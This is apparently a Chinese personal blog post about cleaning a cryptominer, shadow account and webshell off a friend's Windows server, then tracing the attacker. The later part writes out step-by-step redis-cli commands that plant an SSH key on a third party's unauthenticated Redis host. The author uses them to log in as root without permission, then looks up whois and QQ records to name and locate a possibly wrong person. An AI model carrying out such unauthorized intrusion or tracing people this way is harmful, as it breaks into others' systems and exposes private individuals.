前言
朋友说自己服务器巨卡,里边放了一堆项目资料,环境也集成一大堆,身为他bb,义不容辞,必须给他看看,本来以为挺简单的,给杀杀毒,清理一下文件就ok了,没想到搞了挺久,正好写这篇文章记录一下。
清除病毒
问了问朋友有没有下载啥东西,电脑上有没有什么搭建什么鬼东西,一律回复不知道,让我自己看,当场就想顺着3389过去给他个大嘴巴子。想了想算了,还得自己来,一手任务管理器,一眼看到几个可疑的powershell进程
可以看到PowerShell进程的占用率排在了最前面,不过无法确定PowerShell执行了什么命令,这时候可以使用WMIC查看进程执行时的命令行参数
参数释义:
Caption 进程名
CommandLine 命令行参数
ParentProcessId 父进程PID
Process 进程PID
可以看到PowerShell执行了一段经混淆的代码,一般正常程序都不会这么执行命令,市面很多有很多分析工具,使用火绒剑、ProcExp、ProcessHacker查看命令行参数也是都可以的
直接使用火绒剑结束该进程,之后powershell进程再次出现,那肯定是存在守护进程,刚刚结束的应该是个子进程,此时需要结束进程树才能彻底根除,找到powershell的父进程,结束进程树,防止挖矿程序再次启动
说一下怎么查找相关关联进程,可以使用wmic命令,找到相关进程
找到进程id 3616
找到进程id 3604
找到3500,这样即可找到相关关联进程
这里以火绒剑为例,查看进程,最下面5个PowerShell进程是PID为3652的PowerShell的子进程PID为1972的scvhost.exe是所有挖矿程序的父进程
直接结束进程树
清理工作完成。
审计日志
最重要的是怎么进来的,重点看了看RDP日志,打开安全日志(4624登录成功,4625登录失败),确实发现有登陆成功的日志
随即看了看注册表有没有新建账户,果然有个影子账户
随即删除账户,看了看启动项,就知道
删除启动项
查看计划任务
为了确保该进程与启动项一致,这里算了一下MD5值
certrutil -hashfile file MD5
同样全部删除,总算弄完了,之后在进程中我竟然发现了phpstudy….,没错,桌面没有图标,我就直接忽略了,草率了
反手拿了WebShellKiller对全局文件进行扫描
???没出来,找了个火绒病毒查杀也是一样的效果
我不太信,怎么可能没后门,直接在www目录下挨个翻文件,翻吐了快,在这里浪费了很久很久时间,终于找到了news.php,不点开看都不知道,免杀做的挺牛逼啊
清除掉后,收获免杀马一枚,随后查看web日志,在apache access.log、error.log两个日志文件中发现访问ip
xx.xx.xx.xx – – [14/Dec/2020:14:26:37 +0800] “POST /phpMyAdmin-4.8.1-all-languages/version_check.php HTTP/1.1” 200 28
xx.xx.xx.xx – – [14/Dec/2020:14:26:46 +0800] “POST /phpMyAdmin-4.8.1-all-languages/logout.php HTTP/1.1” 302 8637
xx.xx.xx.xx – – [14/Dec/2020:14:26:51 +0800] “GET /phpMyAdmin-4.8.1-all-languages/index.php HTTP/1.1” 200 3497
phpmyadmin的版本还是4.8.1的
刚开始以为是直接爆破进来的,此时一切都明了,谁会拒绝root/root,反正我不会,用脚趾头都能想到朋友不会设置复杂密码。
反查追踪
确认了入侵点,清理也已经完成,并且拿到了攻击ip,尝试溯源,打开微步
18年就被标记傀儡机,还是一台日本机子,够呛溯源找到攻击者,大概率是肉鸡,此时想到还有挖矿样本,先看看样本吧,把主程序放在沙箱跑一下,还有一个批处理文件,一个windows命令文件,其余的是无用混淆文件
Cmd1.bat 安装Networkss恶意服务,自启动start.cmd脚本,并将nat目录下所有文件权限修改为只读的隐藏系统文件。
start.cmd 启动挖矿主程序,访问矿池地址
svchost.exe 将自定义服务封装为系统服务
Systems.exe 挖矿主程序
样本名称 systems.exe
样本大小 3662336
MD5 4d8a76f89b0a68a6d5fc5b1b95257ec0
SHA1 d25a722636f2c1de313d481733b9c397925675eb
SHA256 eb1d6f905efcb27544c43e9107735a2160c3fa7180eff121a701dc6655ae0242
返回头再看看哪个肉鸡,用插件简单看了一下,发现6379开放,随即使用namp详细探测一下
nmap -A -p 6379 script redis-info + ip
直接尝试远程登录一下,居然能直接可以登录。。。
该你被抓鸡,你不当鸡谁当,在确认有未授权漏洞后,尝试利用,redis利用方式有
好几种
1> redis直接写入webshell,但是需要绝对路径,写入权限也要有
2> 写入ssh公钥文件使用私钥登录
3> 写入crontab计划任务反弹shell
4> 主从复制rce
这里使用第二种,因为之前探测发现ssh服务也是开启的
1、首先本地生成公私钥文件
ssh-keygen -t rsa
2、将密钥上传到目标主机redis
cat test.txt | redis-cli -h xx.xx.xx.xx -x set crackit
redis-cli -h xx.xx.xx.xx
config set dir /root/.ssh/
config get dir/
3、保存为authorized_keys
config set dbfilename “authorized_keys”
save
4、直接使用ssh登录成功
ssh -i id_rsa root@x.x.x.x
上去后先netstat看了一下,明晃晃的一个外连ip
定位到相关的pid进程,发现了外连地址,纯ip的
继续查看了有谁登录过这台主机,通过查看/var/log/wtmp日志
last /var/log/wtmp
根据windows被入侵日志时间段筛选了一遍,还真的在这个时间段找到了这个ip地址,用户是root,很大概率这个外连地址就是攻击者的真实服务器了
wangjy ? pts/9 ? ? ? xx.xx.xx.xx ?Thu Dec 17 10:15 ? still logged in ??
wangjy ? pts/8 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:56 ? still logged in ??
wangjy ? pts/7 ? ? ? xx.xx.xx.xx ?Thu Dec 17 09:32 – 10:44 ?(01:12) ? ?
root ? ? pts/5 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 – 10:20 ?(00:50) ? ?
root ? ? pts/4 ? ? ?xx.xx.xx.xx ? Thu Dec 17 09:30 – 10:20 ?(00:50) ?
Whois查询了一下ip
成功关联到了qq邮箱,运气真的好
直接搜索添加qq,一个SVIP9大佬,地点精确到某省市区
但是没有手机号,空间动态也看不到,把邮箱扔在reg007查了一遍,什么都没有
至此就收工了,也不知道找的目标人物到底准确不准确,之后就给朋友顺手装了360,火绒也没卸载,让他没事别瞎开服务。
总结
1、首先定位问题原因,确认中了木马
2、对进程,启动项,计划任务,后门,账户全部进行清除
3、通过审计主机、web日志定位入口点
4、反追踪拿到肉鸡权限,发现外连地址
5、溯源定位到具体人(不一定百分百是)